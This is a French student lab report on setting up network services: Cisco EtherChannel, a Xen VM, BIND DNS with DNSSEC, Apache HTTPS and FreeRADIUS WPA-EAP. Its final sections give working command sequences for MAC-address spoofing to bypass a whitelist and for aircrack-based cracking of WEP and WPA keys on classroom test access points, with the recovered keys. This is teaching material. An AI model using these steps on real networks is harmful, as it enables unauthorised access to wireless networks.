TP sysres IMA2a5 2015/2016 G5
Sommaire
Introduction
Ce TP comporte deux parties, la première est une tâche particulière pour chaque personne. La seconde est commune, elle comprend notamment (d'après le sujet disponible ici) l'installation d'une machine virtuelle Xen, l'implantation d'un auto-commutateur téléphonique logiciel ainsi que la mise en place d'un réseau Wifi et d'un site sécurisés.
Ma tâche particulière consiste à configurer les liens EtherChannel entre les routeurs et les commutateurs. Ensuite j'ai dû réaliser le câblage ainsi que le bridge pour le serveur Xen.
Étape 1 : Les tâches particulières
La Configuration de l'EtherChannel
L'EtherChannel consiste à regrouper plusieurs liens physique en un unique lien logique, cela permet par exemple d'avoir un lien avec un débit de 5Gb/s à partir de 5 liens 1Gb/s. On peut placer jusqu'à 16 liens physiques dans un lien EtherChannel. Sur ces 16 liens physiques, 8 seront actifs et les 8 autres serviront de redondance en cas de problème avec un des liens actifs.
Le cahier des charges imposait de réaliser deux liens EtherChannel de 5Gb/s. N'ayant réussi à trouver que 9 GBIC (Gigabit Interface Converter) sur les 10 qui étaient nécessaires, un des liens aura un débit de 4Gb/s.
Le travail est symétrique sur les deux couples routeurs/commutateurs, je n'en décrirais donc qu'un seul.
J'ai donc connecté les ports Gigabit 0/3 à 0/7 du routeur aux ports Gigabit 5/1 à 5/5 du commutateur.
Ensuite je me suis connecté sur le routeur via le port série, on entre alors les commandes suivantes :
>enable //passage en mode configuration #conf term //Selection des ports Gigabit 3 à 7 #interface range GigabitEthernet 0/3-7 //choix de l'encapsulation à utiliser #switchport trunk encapsulation dot1q //passage des ports en mode trunk #switchport mode trunk //choix du protocole utilisé #channel-protocol lacp //création du groupe EtherChannel #channel-group 1 mode active //activation des ports #no shut #exit #write
sur les commandes à entrer sont à peu près les mêmes, il faut juste remplacer par les bons ports :
>enable #conf term #interface range GigabitEthernet 5/1-5 #switchport trunk encapsulation dot1q #switchport mode trunk #channel-protocol lacp #channel-group 1 mode active #no shut #exit #write
On peut ensuite vérifier que le lien est correctement configuré en entrant :
#show etherchannel
Le câblage
Voici le schéma du câblage réalisé premièrement, en attendant de recevoir d'autres fibres assez longue pour relier la baies de la salle E304 à celle de la salle E306.
MAJ : Suite à la réception de nouvelles cartes Gigabit pour les commutateurs les Etherchannel ont désormais un débit de 8Gb.
Le bridge
Pour cette partie, le travail a été mâché par les IMA5sc. En effet les configurations pour le bridge avaient déjà été entrée dans le fichier /etc/network/interfaces du serveur Xen. J'ai seulement dû remplacer la ligne
auto bridge *****avec ***** représentant le nom du bridge.
Par :
auto *****
J'ai ensuite ajouté les lignes :
pre-up ifconfig $IFACE up post-down ifconfig $IFACE down
sous chaque ligne :
iface ***** inet manualavec ***** représentant le nom de l'interface.
Les ports qui m'étaient attribué étaient les ports eth6 et eth7. Avec le câblage temporaire je n'ai besoin que d'un seul de ces ports j'ai donc relié le port 10 (qui est sur le VLAN 10) du commutateur sur le port eth6 de la machine Xen.
Je peux ensuite vérifier que l'interface eth6 est bien connectée à l'aide de la commande :
mii-tool
Étape 2 : la partie commune
Création et configuration du serveur Xen
Installation
Pour la création de la machine virtuelle il faut se connecter sur la machine cordouan en tant que root. On lance alors la commande :
xen-create-image --hostname griffon --ip 193.48.57.182 --netmask 255.255.255.240 --dir /usr/local/xen
Les noms des machines virtuelles a été choisi en suivant le thème : créatures fantastiques. Sauf un intrus qui s'est glissé dans le lot. Pendant l'installation de la machine virtuelle on peut afficher le fichier de log afin d'avoir un aperçu de l'avancement :
tail -f /var/log/xen-tools/griffon.log
Une fois que l'installation est terminée (et donc que le mot de passe root choisi au hasard s'affiche) on peut aller modifier le fichier de configuration qui se trouve dans le dossier : /etc/xen/griffon.cfg. On va notamment y indiquer la mémoire disponible pour la machine ainsi que la façon dont elle accèdera au réseau (le fameux bridge).
On peut ensuite démarrer notre serveur avec la commande :
xl create /etc/xen/griffon.cfg
Puis y accéder :
xl console griffon
La première chose à faire est de configurer le fichier /etc/network/interfaces afin d'avoir accès à internet mais surtout aux dépots. On pourra ainsi installer les paquets nécessaires. Ensuite on va modifier le fichier /etc/ssh/sshd_config en authorisant la connexion en ssh via le mot de passe. On remplace tty1 par hvc0 dans /etc/inittab,on peut ensuite désinstaller systemd et network-manager.
On en profite également pour installer les paquets : apache2 (serveur web) ,bind9 (serveur dns), mailx (boite mail), postfix (serveur mail), free-radius (serveur d'authentification). On verra dans la suite comment les configurer.
Configuration du DNS
Avant de configurer notre serveur DNS il faut acheter un nom de domaine. Pour cela on se rend sur gandi.net et on suit la procédure pour en acheter un. Pour ma part il s'agit du nom de domaine : polytech-lille.lol.
On veut ensuite que notre serveur serve de DNS. Dans l'interface d'administration de gandi on modifie les glue records. On indique donc notre serveur dns : 193.48.57.182 ainsi que son nom ns.polytech-lille.lol.
On modifie ensuite le fichier /etc/bind/named.conf.local :
named.conf.local : zone "polytech-lille.lol" { type master; file "/etc/bind/db.polytech-lille";
Puis le fichier /etc/bind/db.polytech-lille :
; BIND data file for local loopback interface ; $TTL 3600 @ IN SOA ns admin ( 3 ; Serial //à incrémenter après chaque modification 3600 ; Refresh 600 ; Retry 36000 ; Expire 3600 ) ; Negative Cache TTL ; @ IN NS ns @ IN NS ns6.gandi.net. @ IN MX 100 mail ns IN A 193.48.57.182 mail IN A 193.48.57.182 www IN CNAME ns };
Et enfin le fichier /etc/bind/named.conf.options :
options { directory "/var/cache/bind"; dnssec-validation auto; auth-nxdomain no; # conform to RFC1035 listen-on-v6 { any; }; allow-transfer { "allowed_to_transfer"; }; }; acl "allowed_to_transfer" { 217.70.177.40/32; };
Il faut ensuite attendre que la propagation se fasse, ce qui peut prendre une petite journée.
Sécurisation avec DNSSEC
Afin de sécuriser notre serveur DNS nous allons devoir créer deux paires de clé privée et clé publique afin de signer notre racine DNS. Pour cela il suffit de suivre les indications sur cette page.
Configuration du serveur Apache
Pour la configuration du serveur Apache en lui même il n'y a rien de spécial à faire. Une fois le paquet apache2 installé il suffit de placer les fichiers du site web dans le répertoire /var/www.
Pour la sécurisation grâce au protocole HTTPS il faut utiliser SSL.
Configuration du serveur mail
Afin d'obtenir un certificat il nous faut recevoir un mail sur l'adresse admin@polytech-lille.lol Pour cela on modifie le fichier /etc/aliases en y ajoutant la ligne :
admin : root
On utilise ensuite la commande :
newaliases
afin que le fichier de configuration soit "compilé".
On peut ensuite vérifier que cela fonctionne en envoyant un mail à l'adresse admin@polytech-lille.lol
Sécurisation avec SSL
Maintenant que notre mail fonctionne nous pouvant générer une clé privée et une clé publique avec la commande :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout griffon.key -out griffon.csr
Pour s'y retrouver on range ces clés dans le dossier /etc/apache2/ssl que l'on crée au préalable. Grâce à ces clés on peut désormais demander à gandi de nous signer un certificat. Il faut alors suivre les différentes étapes de validation. J'enregistre mon certificat dans le fichier /etc/apache2/ssl/griffon.crt et le certificat secondaire dans /etc/apache2/ssl/secondaire.crt. On modifie alors le fichier /etc/apache2/sites-available en ajoutant ces lignes :
SSLCertificateFile /etc/apache2/ssl/griffon.cer SSLCertificateKeyFile /etc/apache2/ssl/griffon.key SSLCertificateChainFile /etc/apache2/ssl/secondaire.cer
On doit ensuite activer le service ssl et redémarrer apache :
a2ensite default-ssl a2enmod ssl service apache2 restart
On peut désormais accéder de manière sécurisée à notre site via l'adresse https://polytech-lille.lol.
On va également créer une redirection afin que http://.... renvoie vers https://...... comme cela l'accès au site sera sécurisé par défaut.
Pour cela dans /etc/apache2/sites-available/000-default.conf on supprime les lignes :
DocumentRoot /var/www/html
et on ajoute :
Redirect permanent / "https://www.polytech-lille.lol"
Sécurisation du point d'accès Wifi avec WPA-EAP
Pour cette partie il faut commencer par configurer free-radius.
On modifie le fichier /etc/freeradius/clients.conf : On ajoute ces lignes
client 172.20.99.0/24 { secret = secret-griffon shortname = wifi }
puis le fichier /etc/freeraius/eap.conf : On remplace :
default_eap_type = md5<pre> par <pre>default_eap_type = peap
Enfin on modifie /etc/freeradius/users :
en ajoutant cette ligne
nico Cleartext-Password := "motDePasse"
afin d'ajouter un utilisateur dont le login est "nico" et le mot de passe : "motDePasse".
On peut alors configurer le point d'accès wifi afin qu'il interroge le serveur d'authentification.
on rentre ces commandes sur la borne cisco :
>en #conf t #aaa new-model #aaa group server radius griffon_EAP #server 193.48.57.182 auth-port 1812 acct-port 1813 #exit # #aaa authentication login griffon group griffon_EAP # #dot11 ssid Griffon #vlan 7 #authentication open eap griffon #authentication network-eap griffon #authentication key-management wpa #mbssid guest-mode #exit # #interface Dot11Radio0 #encryption vlan 7 mode ciphers aes-ccm tkip #ssid Griffon #mbssid #exit # #interface Dot11Radio0.7 #encapsulation dot1Q 7 #bridge-group 7 #exit #exit #write
On peut ensuite vérifier que cela fonctionne en se connectant sur la borne avec un eePC ou un téléphone.
Contournement du filtrage par adresse MAC
Dans cette partie nous allons essayer de contourner le filtrage par adresse MAC mis en place sur une borne Wifi. Pour cela, je vais tenter de me connecter sur borne Wifi de Marouane dont le SSID est T2. Le mot de passe est 000000000. Après la première tentative, la connexion est impossible car mon adresse MAC n'est pas dans la liste blanche de la borne. Grâce à un peu social engineering (recherche sur la page wiki de Marouane) je trouve une adresse MAC qui est autorisée à se connecter (celle d'Eric en l'occurence). J'utilise donc la commande :
ifconfig wlan0 hw ether 00:15:af:e7:2d:fb
Mon adresse MAC est maintenant modifiée et donc autorisée sur la borne. Je peux donc accéder à internet.
Cassage de clé WEP
Nous allons désormais essayer de casser la clé WEP d'une borne du banc d'essai (ici cracotte07).
Pour cela nous allons utiliser la suite aircrack.
Tout d'abord on démarre notre carte Wifi en mode monitor.
airmon-ng start wlan2 /* wlan2 car c'est une clé Wifi rajoutée en USB */
On repère ensuite le BSSID et le canal grâce à airodump :
airodump-ng mon0
Pour cracotte07 il s'agit de 04:DA:D2:9C:50:56 et du canal 5.
On récupère ensuite des IVs :
airodump-ng --write capture --channel 5 --BSSID 04:DA:D2:9C:50:56 mon0
en parallèle on lance aircrack :
aircrack-ng -s *.cap
On a plus qu'à attendre d'avoir récupéré assez d'IVs. Après 35760 IVs :
KEY FOUND! [ AA:AA:AA:AA:AA:AA:AA:AA:AA:AB:BB:BB:BB ]
Cassage de clé WPA
Nous passons désormais au cassage de la clé WPA. Pour cela nous devons récupérer un handshake lors de la connexion d'un autre utilisateur sur la borne. On lance donc :
airodump-ng --write capture_WPA --channel 7 --BSSID 04:DA:D2:9C:50:56 mon0
et on attend d'avoir capturé un handshake (ou on le provoque avec aireplay). Pendant ce temps on peut créer notre dictionnaire à l'aide d'une programme en C :
#include <stdio.h> int main(void){ int i=0; while(i<100000000){ printf("%08d\n",i); i++; } return 0; }
Une fois le handshake recupéré et le dictionnaire genéré on peut lancer le cassage de la clé avec la commande :
aircrack-ng -w nom_du_fichier_dictionnaire nom_du_fichier_capture_handshake
Après quelques (dizaines de) minutes de patience on obtient la clé WPA de cracotte07 : 12399907 Pour gagner du temps on peut d'ailleurs essayer d'intuiter les autres clés ainsi la clé de cracotte0X devrait être 1239990X.